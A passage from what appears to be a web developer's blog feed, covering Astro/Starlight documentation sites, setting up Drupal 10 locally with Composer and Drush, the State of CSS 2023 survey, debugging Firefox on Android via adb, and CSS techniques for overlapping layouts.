&lt;h2&gt;Astro is your shiny new toy, huh?&lt;/h2&gt;
&lt;p&gt;Well, in a way, yes. I&apos;m currently at 7 Astro sites, 6 of which are Starlight (the other one isn&apos;t for docs). It&apos;s been fun learning the ins and outs of what it can do, largely because the &lt;a href=&quot;https://docs.astro.build/en/getting-started/&quot;&gt;documentation&lt;/a&gt; is great, and the &lt;a href=&quot;https://astro.build/chat&quot;&gt;Discord community&lt;/a&gt; is amazing.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://interledger.org/developers/&quot;&gt;developers section&lt;/a&gt; of the Interledger website, &lt;a href=&quot;https://rafiki.dev/&quot;&gt;Rafiki documentation&lt;/a&gt;, &lt;a href=&quot;https://openpayments.guide/&quot;&gt;OpenPayments documentation&lt;/a&gt; and &lt;a href=&quot;https://webmonetization.org/&quot;&gt;Web Monetization documentation&lt;/a&gt; are all running on Starlight. I did not build the main &lt;a href=&quot;http://Interledger.org&quot;&gt;Interledger.org&lt;/a&gt;, that is a different story which I may tell later. We&apos;ll see.&lt;/p&gt;
&lt;p&gt;There&apos;s a lot more work to be done off this stable foundation of docs we&apos;re trying to build out but it&apos;s a good start I think. If you&apos;re curious about our family of docs, here&apos;s the &lt;a href=&quot;https://interledger.tech/&quot;&gt;meta docs site&lt;/a&gt; about the docs sites.&lt;/p&gt;
&lt;p&gt;The interoperability of Astro with the most popular framework components is pretty cool as I&apos;ve managed to port over React components from the previous implementation and have things work just fine. It does depend heavily on your use-case, but for mine, rewriting all the presentational React components to Astro felt great.&lt;/p&gt;
&lt;p&gt;I did hold onto the React components that needed interactivity and state management but we do documentation, not some future-altering magical app that needs multi-dimensional data binding or whatever.&lt;/p&gt;
&lt;p&gt;Making my beautiful tech writers&apos; lives easier, now that&apos;s what I care about. I&apos;m happy being the mechanism that the content writers and designers use to convert their output into a website. If there are particularly notable ways to implement something, I might write about it.&lt;/p&gt;
&lt;p&gt;Or not. I&apos;m very lazy.&lt;/p&gt;
&lt;p&gt;Words are hard.&lt;/p&gt;
&lt;p&gt;My team is great though. And we got to meet in person multiple times this year. That&apos;s more than I could say for my previous team.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/wut-is-dis/tech-team-480.jpg 480w, /images/posts/wut-is-dis/tech-team-640.jpg 640w, /images/posts/wut-is-dis/tech-team-960.jpg 960w, /images/posts/wut-is-dis/tech-team-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/wut-is-dis/tech-team-640.jpg&quot; alt=&quot;The Interledger tech team&quot;&gt;
&lt;h2&gt;See you around, maybe…&lt;/h2&gt;
&lt;p&gt;There might be more blog posts soon, or not-so-soon. I don&apos;t plan my life. Who knows, I might be dead tomorrow (hopefully not, the handover will be chaotic since I haven&apos;t documented everything properly yet). But in the meantime, we&apos;d love it if you took some time to learn more about Interledger and its ecosystem.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://rafiki.dev/introduction/overview/&quot;&gt;Rafiki&lt;/a&gt;: open source software that allows an Account Servicing Entity to enable Interledger functionality on its users’ accounts&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openpayments.guide/introduction/overview/&quot;&gt;OpenPayments&lt;/a&gt;: an open RESTful API and API standard that enables clients to interface with Open Payments-enabled accounts&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://webmonetization.org/docs/&quot;&gt;Web Monetization&lt;/a&gt;: a proposed standard that allows your visitors to pay an amount of their choosing with little to no user interaction by enabling a website to automatically signal to web browsers that it can accept payments&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Stay safe, and remember to conserve water &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;droplet&quot;&gt;💧&lt;/span&gt; and electricity &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;high voltage&quot;&gt;⚡&lt;/span&gt;!&lt;/p&gt;
</content:encoded></item><item><title>OMG, I&apos;m doing Drupal again</title><link>https://chenhuijing.com/blog/omg-im-doing-drupal-again/</link><guid isPermaLink="true">https://chenhuijing.com/blog/omg-im-doing-drupal-again/</guid><description>I&apos;ve not written proper blog posts for a while now but I have come nearly full circle back to the start of my web career (albeit with a decade more experience…</description><pubDate>Fri, 17 Nov 2023 06:30:40 GMT</pubDate><content:encoded>&lt;p&gt;I&apos;ve not written proper blog posts for a while now but I have come nearly full circle back to the start of my web career (albeit with a decade more experience and not necessarily any much smarter) to once again build a Drupal site. This is more a testament to the longevity of Drupal than my own career but that&apos;s beside the point.&lt;/p&gt;
&lt;p&gt;It&apos;s time for yet another “setting up Drupal from scratch” blog post, but this time for Drupal 10. Which means I completely skipped Drupal 9 but what hey. The backstory as to why I&apos;m writing this blog post can be its own blog post itself, we&apos;ll see. It&apos;s Opinionated and mildly spicy IMHO and at my age, I&apos;m too tired for conflict if I can avoid it.&lt;/p&gt;
&lt;h2&gt;Oh how things have changed&lt;/h2&gt;
&lt;p&gt;If I check back to the &lt;a href=&quot;/blog/revisiting-drupal-8-after-2-years&quot;&gt;last Drupal-related blog post&lt;/a&gt; I wrote back in 2020, &lt;a href=&quot;https://getcomposer.org/&quot;&gt;Composer&lt;/a&gt; was already the new workflow for setting up new sites. So that wasn&apos;t a surprise. But even before the actual Drupal stuff, there is the issue of environment setup.&lt;/p&gt;
&lt;p&gt;I learned that Docker-based solutions are the &lt;a href=&quot;https://www.drupal.org/docs/develop/local-server-setup&quot;&gt;recommended development environment&lt;/a&gt; but I&apos;m not that big a fan so I went for the old school option of installing things on my local machine instead. Instructions here: &lt;a href=&quot;https://getgrav.org/blog/macos-sonoma-apache-multiple-php-versions&quot;&gt;macOS 14.0 Sonoma Apache Setup: Multiple PHP Versions&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now for the Drupal stuff, first things first, read and follow &lt;a href=&quot;https://www.drupal.org/docs/getting-started/installing-drupal/get-the-code&quot;&gt;the documentation&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;composer create-project drupal/recommended-project my_site_name_dir
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For database management, I&apos;m using a GUI tool called &lt;a href=&quot;https://sequel-ace.com/&quot;&gt;Sequel Ace&lt;/a&gt; but you do you. The instructions on the documentation worked fine for me without issue, and I&apos;m on MacOS Sonoma 14.1 at this point, so if you do run into problems, Google is your friend?&lt;/p&gt;
&lt;p&gt;Anyway, my personal best practice for local Drupal development is to never have errors on the Status report page, even on local, and to always use a local &lt;em&gt;settings.php&lt;/em&gt; file. Copy the &lt;em&gt;example.settings.local.php&lt;/em&gt; file to the &lt;em&gt;default&lt;/em&gt; folder and rename it &lt;em&gt;settings.local.php&lt;/em&gt;. Do the uncommenting on the bottom of the actual &lt;em&gt;settings.php&lt;/em&gt; file and you will see some new errors related to rebuild access and the like.&lt;/p&gt;
&lt;p&gt;If you also have these problems, set&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$settings[&apos;skip_permissions_hardening&apos;] = FALSE;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$settings[&apos;rebuild_access&apos;] = FALSE;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;in the settings.local.php file. (instructions from here: &lt;a href=&quot;https://www.drupal.org/project/social/issues/2853246&quot;&gt;misreported settings.local.php and settings.php permissions in Status Report&lt;/a&gt;). You should then have a nice all-green Status report. Yay.&lt;/p&gt;
&lt;p&gt;Another basic setup thing I suggest doing is installing &lt;a href=&quot;https://www.drush.org/12.x/&quot;&gt;Drush&lt;/a&gt;, which is a CLI for Drupal. It does not come out the box with Drupal hence we need to run&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;composer require drush/drush
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You then call Drush via &lt;code&gt;vendor/bin/drush&lt;/code&gt; to run drush commands like clearing cache with &lt;code&gt;vendor/bin/drush cr&lt;/code&gt;. Yay.&lt;/p&gt;
&lt;p&gt;I tried to add &lt;code&gt;drush&lt;/code&gt; to &lt;code&gt;$PATH&lt;/code&gt; but that somehow made this local installation of drush the global one, messing up my other site so I just left it.&lt;/p&gt;
&lt;h2&gt;My bread and butter&lt;/h2&gt;
&lt;p&gt;Theming. That&apos;s what pays my bills. Essentially, making websites look pretty. CSS (to a certain extent) does feed me and pay for my hobbies, so thanks, Håkon Wium Lie! I vaguely remember having something set up years ago as a starter theme but seeing that it hadn&apos;t been updated for 5 years, that&apos;s not really useful anymore.&lt;/p&gt;
&lt;p&gt;Let&apos;s see how Drupal 10 recommends we do this. Turns out there&apos;s a thing called &lt;a href=&quot;https://www.drupal.org/docs/core-modules-and-themes/core-themes/starterkit-theme&quot;&gt;Starterkit theme&lt;/a&gt; which we can use to generate a brand new contrib theme.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;php core/scripts/drupal generate-theme my_new_theme
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Drupal 10 uses Twig 3, so if your code editor doesn&apos;t have support for that, installing an extension for &lt;code&gt;.twig&lt;/code&gt; files wouldn&apos;t hurt. I went with &lt;a href=&quot;https://github.com/rholdos/vscode-twig-language-support/&quot;&gt;vscode-twig-language-support&lt;/a&gt;, but again, you do you.&lt;/p&gt;
&lt;p&gt;I&apos;ll be honest. I forgot EVERYTHING. But I did write some things down about Drupal 8 theming 3 years ago, so thank you past me. I think some of that stuff is still relevant, but let&apos;s see if anything has changed much in Drupal 10.&lt;/p&gt;
&lt;h3&gt;Generate a new theme&lt;/h3&gt;
&lt;p&gt;I don&apos;t remember this being a thing back then but you can generate a theme from another starter theme with a command now.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;php core/scripts/drupal generate-theme my_new_theme
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There&apos;s a theme that ships out the box called Starterkit theme which this command generates your custom theme from. I tried it, and it had essentially all the templates that you needed to override what was out of the box Drupal I think.&lt;/p&gt;
&lt;p&gt;I didn&apos;t think I would need all that, given that my last starter theme was really barebones and based of the Stark theme (I think). So you can also use other themes for the generation, but you have to tweak the &lt;code&gt;*.info.yml&lt;/code&gt; file of Stark, setting &lt;code&gt;starterkit: true&lt;/code&gt;. Then running:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;php core/scripts/drupal generate-theme --starterkit stark my_new_theme
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Stark theme doesn&apos;t come with much, so past me noted that adding a THEME_NAME.libraries.yml file is almost a mandatory exercise. This is the file that tells the theme where your styles and scripts are and refer to them accordingly.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.
└── YOUR_THEME_NAME/
    ├── config
    ├── css/
    │   └── styles.css
    ├── js/
    │   └── scripts.js
    ├── templates
    ├── YOUR_THEME_NAME.breakpoints.yml
    ├── YOUR_THEME_NAME.info.yml
    ├── YOUR_THEME_NAME.libraries.yml
    ├── logo.svg
    ├── README.md
    └── screenshot.png
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This time, I&apos;m not going to do the SCSS setup that I did all those years ago. Yet. I just want to see how far I can get without SCSS at this point. So the libraries file from back then still seems to work.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;global-styling:
  version: 1.x
  css:
    theme:
      css/styles.css: {}
  js:
    js/scripts.js: {}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But what this means is that the &lt;code&gt;styles.css&lt;/code&gt; file needs to be found in the &lt;em&gt;css&lt;/em&gt; folder and the &lt;code&gt;scripts.js&lt;/code&gt; file should exist in the &lt;em&gt;scripts&lt;/em&gt; folder as well. Also, when you make changes that may impact how the application locates and reads files, it&apos;s a good idea to clear the cache. Just in case.&lt;/p&gt;
&lt;h3&gt;Templating pages&lt;/h3&gt;
&lt;p&gt;Drupal still uses the namespace override pattern for template files so things still felt familiar. According to my previous blog posts, I made use of &lt;a href=&quot;https://www.drupal.org/project/panels&quot;&gt;Panels&lt;/a&gt; a lot but apparently that&apos;s not a thing any more. And there&apos;s a new thing called &lt;a href=&quot;https://www.drupal.org/docs/8/core/modules/layout-builder/layout-builder-overview&quot;&gt;Layout Builder&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The long and short of things is that to customise the markup, you can override the system page templates by putting your own templates in your theme&apos;s template folder. That&apos;s way turning on &lt;a href=&quot;https://www.drupal.org/docs/develop/theming-drupal/twig-in-drupal/debugging-twig-templates&quot;&gt;Twig debug mode&lt;/a&gt; is a very good idea. You can do that from the GUI now. Yay.&lt;/p&gt;
&lt;p&gt;Now, when you inspect your page, the debug tool helpfully tells you where the markup for each section is coming from, and makes suggestions on what you could name your overriding template to change things how you want to.&lt;/p&gt;
&lt;img src=&quot;/images/posts/drupal-10/twig-debug.png&quot; srcset=&quot;/images/posts/drupal-10/twig-debug@2x.png 2x&quot; alt=&quot;Twig debugging tool activated in inspector&quot;&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;After this point, any further work depends on the actual site design you will be building so you&apos;re on your own for that. The yet-to-be-written-maybe-never blogpost about the backstory of this entire endeavour might cover it. We&apos;ll see.&lt;/p&gt;
&lt;p&gt;Live on and prosper, Drupal.&lt;/p&gt;
</content:encoded></item><item><title>State of CSS survey 2023 is live!</title><link>https://chenhuijing.com/blog/state-of-css-survey-2023-is-live/</link><guid isPermaLink="true">https://chenhuijing.com/blog/state-of-css-survey-2023-is-live/</guid><description>&lt;a href=&quot;https://survey.devographics.com/en-US/survey/state-of-css/2023?source=huijing&quot;&gt; &lt;img srcset=&quot;/images/posts/state-of-css/survey-2023-480.png 480w,…</description><pubDate>Tue, 20 Jun 2023 09:53:40 GMT</pubDate><content:encoded>&lt;a href=&quot;https://survey.devographics.com/en-US/survey/state-of-css/2023?source=huijing&quot;&gt;
  &lt;img srcset=&quot;/images/posts/state-of-css/survey-2023-480.png 480w, /images/posts/state-of-css/survey-2023-640.png 640w, /images/posts/state-of-css/survey-2023-960.png 960w, /images/posts/state-of-css/survey-2023-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/state-of-css/survey-2023-640.png&quot; alt=&quot;State of CSS survey 2023&quot;&gt;
&lt;/a&gt;
&lt;p&gt;I&apos;m excited to share with everyone that the State of CSS survey for 2023 has gone live! Yes, it is slightly earlier in the year than last year&apos;s iteration, but given the number of CSS features that have shipped in the meantime, we&apos;d love to see if and how folks are using them. Or at least, help bring awareness of them to the broader web developer community.&lt;/p&gt;
&lt;p&gt;Most of the properties from last year are back, but we did add 5 more, updated 2 and removed &lt;code&gt;will-change&lt;/code&gt; given that it had been widely supported since 2016 and &lt;code&gt;color-contrast()&lt;/code&gt; which seemed a little too premature for now.&lt;/p&gt;
&lt;p&gt;A lot of the work &lt;a href=&quot;https://sachagreif.com/&quot;&gt;Sacha Greif&lt;/a&gt; has been doing was on the backend, to improve the architecture and overall stability of the platform such that folks will have a smoother participation experience.&lt;/p&gt;
&lt;p&gt;We know that the survey does cover quite a bit of ground, and wanted to improve the UX by adding more obvious progress indicators, and your progress is now saved every time you proceed to the next page on the survey.&lt;/p&gt;
&lt;p&gt;Keeping in line with the focus from &lt;a href=&quot;https://lea.verou.me/2022/10/state-of-css-2022-now-open/&quot;&gt;last year&apos;s survey&lt;/a&gt; to reach a broader range of developers, we are also putting in more effort on outreach. Our survey is for &lt;strong&gt;anybody who writes CSS&lt;/strong&gt;, whether regularly or occasionally, as part of their job, as a student, or just for fun. And so we are working harder to reach groups and communities beyond “typical” developer platforms like Twitter or Stack Overflow.&lt;/p&gt;
&lt;p&gt;This is a completely open-source project and we welcome any contributions, be it bug reports, feedback and even &lt;a href=&quot;https://github.com/Devographics/locale-en-US#readme&quot;&gt;help with translations&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The State of CSS survey is now in its 5th iteration, and we have tweaked and changed things based on feedback every year. Hopefully, we can continue to improve moving forward. Please &lt;a href=&quot;https://survey.devographics.com/en-US/survey/state-of-css/2023?source=huijing&quot;&gt;take the survey&lt;/a&gt; if you haven&apos;t yet, and share it to the folks around you who write CSS as well!&lt;/p&gt;
</content:encoded></item><item><title>Debugging Firefox on Android</title><link>https://chenhuijing.com/blog/debugging-firefox-on-android/</link><guid isPermaLink="true">https://chenhuijing.com/blog/debugging-firefox-on-android/</guid><description>I just figured out how to get my Android phone recognised by Android Debug Bridge (adb) on my MacBook, which finally allowed me to remote debug websites on…</description><pubDate>Tue, 07 Feb 2023 14:54:24 GMT</pubDate><content:encoded>&lt;p&gt;I just figured out how to get my Android phone recognised by &lt;a href=&quot;https://developer.android.com/studio/command-line/adb.html&quot;&gt;Android Debug Bridge (&lt;code&gt;adb&lt;/code&gt;)&lt;/a&gt; on my MacBook, which finally allowed me to remote debug websites on Firefox Android. Just so I don&apos;t forget what I did, this is a short documentation of the steps needed to get everything to work. Hopefully it will stay relevant for a good while.&lt;/p&gt;
&lt;p&gt;Firefox official documentation is actually very clear: &lt;a href=&quot;https://firefox-source-docs.mozilla.org/devtools-user/about_colon_debugging/index.html&quot;&gt;about:debugging&lt;/a&gt;, however, the first time I tried it, I could not for the life of myself get it to work. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Enable Developer menu on your Android device.&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Enable USB Debugging in the Android Developer Menu.&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Enable USB Debugging in Firefox on the Android device.&lt;/li&gt;
  &lt;li&gt;Connect the Android device to your computer.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;First make sure you have installed Android Debug Bridge from Android Tools on your computer in order for it to be able to connect to your device. You do not need to install the full Android Studio SDK. Only adb is needed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;To install &lt;code&gt;adb&lt;/code&gt;, download the SDK Platform Tools from &lt;a href=&quot;https://developer.android.com/studio/releases/platform-tools.html&quot; style=&quot;word-break: break-all&quot;&gt;https://developer.android.com/studio/releases/platform-tools.html&lt;/a&gt;, there are versions for every OS but I&apos;m using Mac specifically.&lt;/p&gt;
&lt;p&gt;After that, unzip the files into an easily accessible folder on your computer. From the command line, navigate to folder and run &lt;code&gt;./adb devices&lt;/code&gt; to see list of devices connected.&lt;/p&gt;
&lt;p&gt;If no devices show up, then the issue might be on the Android device side of things. Following the advice from &lt;a href=&quot;https://stackoverflow.com/questions/21170392/my-android-device-does-not-appear-in-the-list-of-adb-devices&quot;&gt;this Stack Overflow post&lt;/a&gt;, what worked for both my Android 11 and Android 12 devices was to switch the USB configuration to &lt;code&gt;PTP (Picture Transfer Protocol)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After that running &lt;code&gt;./adb devices&lt;/code&gt; actually did list something.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/firefox-android/adb-list.png&quot; alt=&quot;adb list showing device connected&quot;&gt;&lt;/p&gt;
&lt;p&gt;Go back to &lt;code&gt;about:debugging&lt;/code&gt; and refresh the page. If the devices are listed on the command line, they will show up in the left sidebar (at least they did for me).&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/firefox-android/setup-480.png 480w, /images/posts/firefox-android/setup-640.png 640w, /images/posts/firefox-android/setup-960.png 960w, /images/posts/firefox-android/setup-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/firefox-android/setup-640.png&quot; alt=&quot;Setup for remote debugging&quot;&gt;
&lt;p&gt;Happy debugging!&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/firefox-android/debugging-480.jpg 480w, /images/posts/firefox-android/debugging-640.jpg 640w, /images/posts/firefox-android/debugging-960.jpg 960w, /images/posts/firefox-android/debugging-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/firefox-android/debugging-640.jpg&quot; alt=&quot;Inspecting remotely with devtools&quot;&gt;</content:encoded></item><item><title>So your designer wants stuff to overlap</title><link>https://chenhuijing.com/blog/so-your-designer-wants-stuff-to-overlap/</link><guid isPermaLink="true">https://chenhuijing.com/blog/so-your-designer-wants-stuff-to-overlap/</guid><description>I started my first full-time web developer job back in September of 2013 (not counting the period where I built random sites for random people). So it&apos;s kind…</description><pubDate>Tue, 06 Sep 2022 02:50:07 GMT</pubDate><content:encoded>&lt;p&gt;I started my first full-time web developer job back in September of 2013 (not counting the period where I built random sites for random people). So it&apos;s kind of like my 9 year anniversary of being able to earn a stable living by building on the web. Thanks, Sir Tim Berners-Lee. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;folded hands&quot;&gt;🙏&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Throughout these 9 years, I have encountered quite a good number of designs that involve overlapping elements.&lt;/p&gt;
&lt;p&gt;Keep in mind that everything on the web is boxes, quadrilateral boxes (i.e. having 4 straight sides), to be precise. Boxes stacked atop boxes next to boxes nested within boxes.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/grid-overlap/boxfam-480.png 480w, /images/posts/grid-overlap/boxfam-640.png 640w, /images/posts/grid-overlap/boxfam-960.png 960w, /images/posts/grid-overlap/boxfam-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/grid-overlap/boxfam-640.png&quot; alt=&quot;Boxie family&quot;&gt;
&lt;p&gt;You get the picture.&lt;/p&gt;
&lt;p&gt;Even if your content doesn&apos;t take up the entire box, the browser still recognises and lays out your bits of content as boxes.&lt;/p&gt;
&lt;p&gt;Before 2017, if you wanted your content to overlap, you had multiple options but all of them were tricky to implement. Especially if you wanted the design to look good at every possible viewport size.&lt;/p&gt;
&lt;p&gt;What happened in 2017, you might be asking? Well, Grid was rolled out in one of the most coordinated feature releases the web had ever seen.&lt;/p&gt;
&lt;img src=&quot;/images/posts/grid-overlap/grid-release.png&quot; srcset=&quot;/images/posts/grid-overlap/grid-release@2x.png 2x&quot; alt=&quot;Calendar showing when browsers released Grid&quot; /&gt;
&lt;p&gt;To me, Grid is a wonderful addition to your web layout toolbox when it comes to building designs with overlapping elements. Especially if you want more granular control of the &lt;strong&gt;height of the layout&lt;/strong&gt; or a &lt;strong&gt;consistent amount of overlap&lt;/strong&gt; across viewport widths.&lt;/p&gt;
&lt;p&gt;Here are 2 demos you can play around with that show use of the 4 options covered below:&lt;/p&gt;
&lt;div class=&quot;double&quot; style=&quot;margin-bottom:1.5em&quot;&gt;
  &lt;a href=&quot;https://huijing.github.io/demos/overlap-design/&quot; style=&quot;border-bottom:none&quot;&gt;&lt;img src=&quot;/images/posts/overlap-design/demo.jpg&quot; srcset=&quot;/images/posts/overlap-design/demo@2x.jpg 2x&quot; alt=&quot;Demo showing different techniques for overlap design&quot;&gt;&lt;/a&gt;
  &lt;a href=&quot;https://huijing.github.io/demos/overlap-design2/&quot; style=&quot;border-bottom:none&quot;&gt;&lt;img src=&quot;/images/posts/overlap-design/demo2.jpg&quot; srcset=&quot;/images/posts/overlap-design/demo2@2x.jpg 2x&quot; alt=&quot;Another demo showing different techniques for overlap design&quot;&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;h2&gt;Option #1: Negative margins&lt;/h2&gt;
&lt;p&gt;Negative margins are good for small individual elements that are always overlapping at that same position. Ideally, an element that isn&apos;t a major player in the overall “support structure” of the layout.&lt;/p&gt;
&lt;p&gt;This is because, when we set a negative margin on an element, the elements that come after it are impacted by the shift as well. In a sense, it compounds the calculations quite a bit if your shifted element is instrumental to the overall layout.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;section&amp;gt;
  &amp;lt;h2&amp;gt;Écrire comme un chat&amp;lt;/h2&amp;gt;
  &amp;lt;p&amp;gt;Quand le Chat n&apos;est pas là, les Souris Dansent&amp;lt;/p&amp;gt;
  &amp;lt;img src=&amp;quot;img/hei.jpg&amp;quot; alt=&amp;quot;A beautiful black cat basking in the sun&amp;quot; /&amp;gt;
&amp;lt;/section&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you set a &lt;code&gt;margin-top: -3em&lt;/code&gt; on the &lt;code&gt;p&lt;/code&gt; element in the above markup, then the &lt;code&gt;img&lt;/code&gt; will also move up. And if you need to shift the image, that &lt;code&gt;3em&lt;/code&gt; shift needs to be taken into account.&lt;/p&gt;
&lt;p&gt;There is always the option to rearrange the markup, BUT, semantics must take precedence for accessibility reasons, so there might be instances where you have to do extra on the styling front.&lt;/p&gt;
&lt;p&gt;To a certain extent, left-right shifts with negative margins are probably less consequential than those which impact height, IMO.&lt;/p&gt;
&lt;h2&gt;Option #2: Translate using transform&lt;/h2&gt;
&lt;p&gt;Using transforms to translate content is quite similar to the negative margins approach, at least, that&apos;s my experience. Great for small elements that are inconsequential to the main layout. You can tell me otherwise.&lt;/p&gt;
&lt;p&gt;The reason being, when you transform something, be it translation, rotation or whatever, the browser recognises the original un-transformed element&apos;s position and size in the grand scheme of the whole layout. Paint and composition are steps during the rendering process that occur after the browser determines layout.&lt;/p&gt;
&lt;img src=&quot;/images/posts/overlap-design/transform.png&quot; srcset=&quot;/images/posts/overlap-design/transform@2x.png 2x&quot; alt=&quot;Transformed element&apos;s layout position is still kept in the grand scheme of things&quot; /&gt;
&lt;p&gt;So, if you had plans for the space left behind by the transformed element, you&apos;re going to have to account for that on the other elements adjacent to the transformed one.&lt;/p&gt;
&lt;p&gt;On the &lt;a href=&quot;https://huijing.github.io/demos/overlap-design/&quot;&gt;first demo&lt;/a&gt;, I display the height of the section for each technique in the top-left corner, and the transforms option is taller than everyone else because the section retains the original height from BEFORE the transformation happened.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;One of these sections is not like the others&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/overlap-options.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/overlap-options.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;But the difference from the negative margins approach is that the adjustments you need to make for each element do not impact other elements in the layout. So maybe that makes the code easier to reason with? &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Option #3: Absolute positioning&lt;/h2&gt;
&lt;p&gt;Absolute positioning is not a terrible option, especially if your markup is rather flat and easy to reason about. However, if you&apos;re dealing with numerous nested elements each with their own margin and padding contributing to the height of the overall container, things &lt;em&gt;could&lt;/em&gt; get confusing.&lt;/p&gt;
&lt;p&gt;The main issue with absolute positioning is that because the absolutely positioned element is taken out of normal flow, you might have to account for the height “loss” with the other remaining elements in flow.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;.position {
  .corner-img {
    position: absolute;
    top: 0;
    right: 0;
  }

  h2 {
    padding-top: 5em; // gotta pad all that space back
    margin-bottom: 2em;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However, I do find that if the layout is “propped up” by the elements themselves, i.e. the layout doesn&apos;t have swathes of vertical white space which need to be dealt with either with margins or paddings, absolute positioning is rather straight-forward to reason with.&lt;/p&gt;
&lt;p&gt;And similar to the other 2 options discussed earlier, they all have the issue of unpredictable overlap at certain viewport widths. Elements might overlap more than you want them to simply because there&apos;s no good way to control that.&lt;/p&gt;
&lt;p&gt;With absolute positioning, you can also play around with variable widths more easily because there is no “compounding effect” for adjustments like there is for negative margins or even transforms. For &lt;a href=&quot;https://huijing.github.io/demos/overlap-design2/&quot;&gt;demo 2&lt;/a&gt;, only the absolute positioning option and the grid option use a variable font-size.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Ooooo…font size smoothly grows and shrinks&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/overlap-variable.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/overlap-variable.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;Because my brain was unable to handle the math for negative margins and transforms. But you can still optimise the layout for different viewport widths easily. That&apos;s what media queries are for. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;&lt;span style=&quot;color:green&quot;&gt;*New*&lt;/span&gt; Option #4: Grid&lt;/h2&gt;
&lt;p&gt;We got a new tool to play with! And it&apos;s really useful too. Grid really shines when your layout has extensive use of white space, especially along the height axis. Because when you use CSS grid, the browser recognises the grid as a “scaffold” for the entire layout, and can figure out the height of things a little bit better.&lt;/p&gt;
